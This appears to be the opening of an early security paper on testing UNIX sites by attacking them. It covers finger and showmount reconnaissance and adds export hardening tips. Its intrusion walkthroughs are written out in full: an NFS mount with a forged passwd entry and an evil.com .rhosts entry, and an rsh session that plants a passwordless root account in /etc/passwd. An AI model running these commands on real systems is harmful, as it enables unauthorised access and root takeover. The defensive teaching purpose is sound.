Introduction
------------
Every day, all over the world, computer networks and hosts are being
broken into. The level of sophistication of these attacks varies
widely; while it is generally believed that most break-ins succeed due
to weak passwords, there are still a large number of intrusions that use
more advanced techniques to break in. Less is known about the latter
types of break-ins, because by their very nature they are much harder to
detect.
-----
CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley .
Purdue. Sun. You name it, we've seen it broken into. Anything that is
on the Internet (and many that isn't) seems to be fairly easy game. Are
these targets unusual? What happened?
Fade to...
A young boy, with greasy blonde hair, sitting in a dark room. The room
is illuminated only by the luminescense of the C64's 40 character
screen. Taking another long drag from his Benson and Hedges cigarette,
the weary system cracker telnets to the next faceless ".mil" site on his
hit list. "guest -- guest", "root -- root", and "system -- manager" all
fail. No matter. He has all night... he pencils the host off of his
list, and tiredly types in the next potential victim...
This seems to be the popular image of a system cracker. Young,
inexperienced, and possessing vast quantities of time to waste, to get
into just one more system. However, there is a far more dangerous type
of system cracker out there. One who knows the ins and outs of the
latest security auditing and cracking tools, who can modify them for
specific attacks, and who can write his/her own programs. One who not
only reads about the latest security holes, but also personally
discovers bugs and vulnerabilities. A deadly creature that can both
strike poisonously and hide its tracks without a whisper or hint of a
trail. The uebercracker is here.
-----
Why "uebercracker"? The idea is stolen, obviously, from Nietzsche's
uebermensch, or, literally translated into English, "over man."
Nietzsche used the term not to refer to a comic book superman, but
instead a man who had gone beyond the incompetence, pettiness, and
weakness of the everyday man. The uebercracker is therefore the system
cracker who has gone beyond simple cookbook methods of breaking into
systems. An uebercracker is not usually motivated to perform random
acts of violence. Targets are not arbitrary -- there is a purpose,
whether it be personal monetary gain, a hit and run raid for
information, or a challenge to strike a major or prestigious site or
net.personality. An uebercracker is hard to detect, harder to stop, and
hardest to keep out of your site for good.
Overview
--------
In this paper we will take an unusual approach to system security.
Instead of merely saying that something is a problem, we will look
through the eyes of a potential intruder, and show _why_ it is one. We
will illustrate that even seemingly harmless network services can become
valuable tools in the search for weak points of a system, even when
these services are operating exactly as they are intended to.
In an effort to shed some light on how more advanced intrusions occur,
this paper outlines various mechanisms that crackers have actually used
to obtain access to systems and, in addition, some techniques we either
suspect intruders of using, or that we have used ourselves in tests or
in friendly/authorized environments.
Our motivation for writing this paper is that system administrators are
often unaware of the dangers presented by anything beyond the most
trivial attacks. While it is widely known that the proper level of
protection depends on what has to be protected, many sites appear to
lack the resources to assess what level of host and network security is
adequate. By showing what intruders can do to gain access to a remote
site, we are trying to help system administrators to make _informed_
decisions on how to secure their site -- or not. We will limit the
discussion to techniques that can give a remote intruder access to a
(possibly non-interactive) shell process on a UNIX host. Once this is
achieved, the details of obtaining root privilege are beyond the scope
of this work -- we consider them too site-dependent and, in many cases,
too trivial to merit much discussion.
We want to stress that we will not merely run down a list of bugs or
security holes -- there will always be new ones for a potential attacker
to exploit. The purpose of this paper is to try to get the reader to
look at her or his system in a new way -- one that will hopefully afford
him or her the opportunity to _understand_ how their system can be
compromised, and how.
We would also like to reiterate to the reader that the purpose of this
paper is to show you how to test the security of your own site, not how
to break into other people's systems. The intrusion techniques we
illustrate here will often leave traces in your system auditing logs --
it might be constructive to examine them after trying some of these
attacks out, to see what a real attack might look like. Certainly other
sites and system administrators will take a very dim view of your
activities if you decide to use their hosts for security testing without
advance authorization; indeed, it is quite possible that legal action
may be pursued against you if they perceive it as an attack.
There are four main parts to the paper. The first part is the
introduction and overview. The second part attempts to give the reader
a feel for what it is like to be an intruder and how to go from knowing
nothing about a system to compromising its security. This section goes
over actual techniques to gain information and entrance and covers basic
strategies such as exploiting trust and abusing improperly configured
basic network services (ftp, mail, tftp, etc.) It also discusses
slightly more advanced topics, such as NIS and NFS, as well as various
common bugs and configuration problems that are somewhat more OS or
system specific. Defensive strategies against each of the various
attacks are also covered here.
The third section deals with trust: how the security of one system
depends on the integrity of other systems. Trust is the most complex
subject in this paper, and for the sake of brevity we will limit the
discussion to clients in disguise.
The fourth section covers the basic steps that a system administrator
may take to protect her or his system. Most of the methods presented
here are merely common sense, but they are often ignored in practice --
one of our goals is to show just how dangerous it can be to ignore basic
security practices.
Case studies, pointers to security-related information, and software are
described in the appendices at the end of the paper.
While exploring the methods and strategies discussed in this paper we we
wrote SATAN (Security Analysis Tool for Auditing Networks.) Written in
shell, perl, expect and C, it examines a remote host or set of hosts and
gathers as much information as possible by remotely probing NIS, finger,
NFS, ftp and tftp, rexd, and other services. This information includes
the presence of various network information services as well as
potential security flaws -- usually in the form of incorrectly setup or
configured network services, well-known bugs in system or network
utilities, or poor or ignorant policy decisions. It then can either
report on this data or use an expert system to further investigate any
potential security problems. While SATAN doesn't use all of the methods
that we discuss in the paper, it has succeeded with ominous regularity
in finding serious holes in the security of Internet sites. It will be
posted and made available via anonymous ftp when completed; Appendix A
covers its salient features.
Note that it isn't possible to cover all possible methods of breaking
into systems in a single paper. Indeed, we won't cover two of the most
effective methods of breaking into hosts: social engineering and
password cracking. The latter method is so effective, however, that
several of the strategies presented here are geared towards acquiring
password files. In addition, while windowing systems (X, OpenWindows,
etc.) can provide a fertile ground for exploitation, we simply don't
know many methods that are used to break into remote systems. Many
system crackers use non-bitmapped terminals which can prevent them from
using some of the more interesting methods to exploit windowing systems
effectively (although being able to monitor the victim's keyboard is
often sufficient to capture passwords). Finally, while worms, viruses,
trojan horses, and other malware are very interesting, they are not
common (on UNIX systems) and probably will use similar techniques to the
ones we describe in this paper as individual parts to their attack
strategy.
Gaining Information
-------------------
Let us assume that you are the head system administrator of Victim
Incorporated's network of UNIX workstations. In an effort to secure
your machines, you ask a friendly system administrator from a nearby
site (evil.com) to give you an account on one of her machines so that
you can look at your own system's security from the outside.
What should you do? First, try to gather information about your
(target) host. There is a wealth of network services to look at:
finger, showmount, and rpcinfo are good starting points. But don't stop
there -- you should also utilize DNS, whois, sendmail (smtp), ftp, uucp,
and as many other services as you can find. There are so many methods
and techniques that space precludes us from showing all of them, but we
will try to show a cross-section of the most common and/or dangerous
strategies that we have seen or have thought of. Ideally, you would
gather such information about all hosts on the subnet or area of attack
-- information is power -- but for now we'll examine only our intended
target.
To start out, you look at what the ubiquitous finger command shows you
(assume it is 6pm, Nov 6, 1993):
victim % finger @victim.com
[victim.com]
Login Name TTY Idle When Where
zen Dr. Fubar co 1d Wed 08:00 death.com
Good! A single idle user -- it is likely that no one will notice if you
actually manage to break in.
Now you try more tactics. As every finger devotee knows, fingering "@",
"0", and "", as well as common names, such as root, bin, ftp, system,
guest, demo, manager, etc., can reveal interesting information. What
that information is depends on the version of finger that your target is
running, but the most notable are account names, along with their home
directories and the host that they last logged in from.
To add to this information, you can use rusers (in particular with the
-l flag) to get useful information on logged-in users.
Trying these commands on victim.com reveals the following information,
presented in a compressed tabular form to save space:
Login Home-dir Shell Last login, from where
----- -------- ----- ----------------------
root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com
bin /bin Never logged in
nobody / Tue Jun 15 08:57 on ttyp2 from server.victim.co
daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com
sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com
zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com
sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com
guest /export/foo /bin/sh Never logged in
ftp /home/ftp Never logged in
Both our experiments with SATAN and watching system crackers at work
have proved to us that finger is one of the most dangerous services,
because it is so useful for investigating a potential target. However,
much of this information is useful only when used in conjunction with
other data.
For instance, running showmount on your target reveals:
evil % showmount -e victim.com
export list for victim.com:
/export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/root/easy easy
/export/swap/easy easy
Note that /export/foo is exported to the world; also note that this is
user guest's home directory. Time for your first break-in! In this
case, you'll mount the home directory of user "guest." Since you don't
have a corresponding account on the local machine and since root cannot
modify files on an NFS mounted filesystem, you create a "guest" account
in your local password file. As user guest you can put an .rhosts entry
in the remote guest home directory, which will allow you to login to the
target machine without having to supply a password.
evil # mount victim.com:/export/foo /foo
evil # cd /foo
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest
evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest
evil # su guest
evil % echo evil.com >> guest/.rhosts
evil % rlogin victim.com
Welcome to victim.com!
victim %
If, instead of home directories, victim.com were exporting filesystems
with user commands (say, /usr or /usr/local/bin), you could replace a
command with a trojan horse that executes any command of your choice.
The next user to execute that command would execute your program.
We suggest that filesystems be exported:
o Read/write only to specific, trusted clients.
o Read-only, where possible (data or programs can often be
exported in this manner.)
If the target has a "+" wildcard in its /etc/hosts.equiv (the default in
various vendor's machines) or has the netgroups bug (CERT advisory
91:12), any non-root user with a login name in the target's password
file can rlogin to the target without a password. And since the user
"bin" often owns key files and directories, your next attack is to try
to log in to the target host and modify the password file to let you
have root access:
evil % whoami
bin
evil % rsh victim.com csh -i
Warning: no access to tty; thus no job control in this shell...
victim % ls -ldg /etc
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc
victim % cd /etc
victim % mv passwd pw.old
victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
victim % ^D
evil % rlogin victim.com -l toor
Welcome to victim.com!
victim #
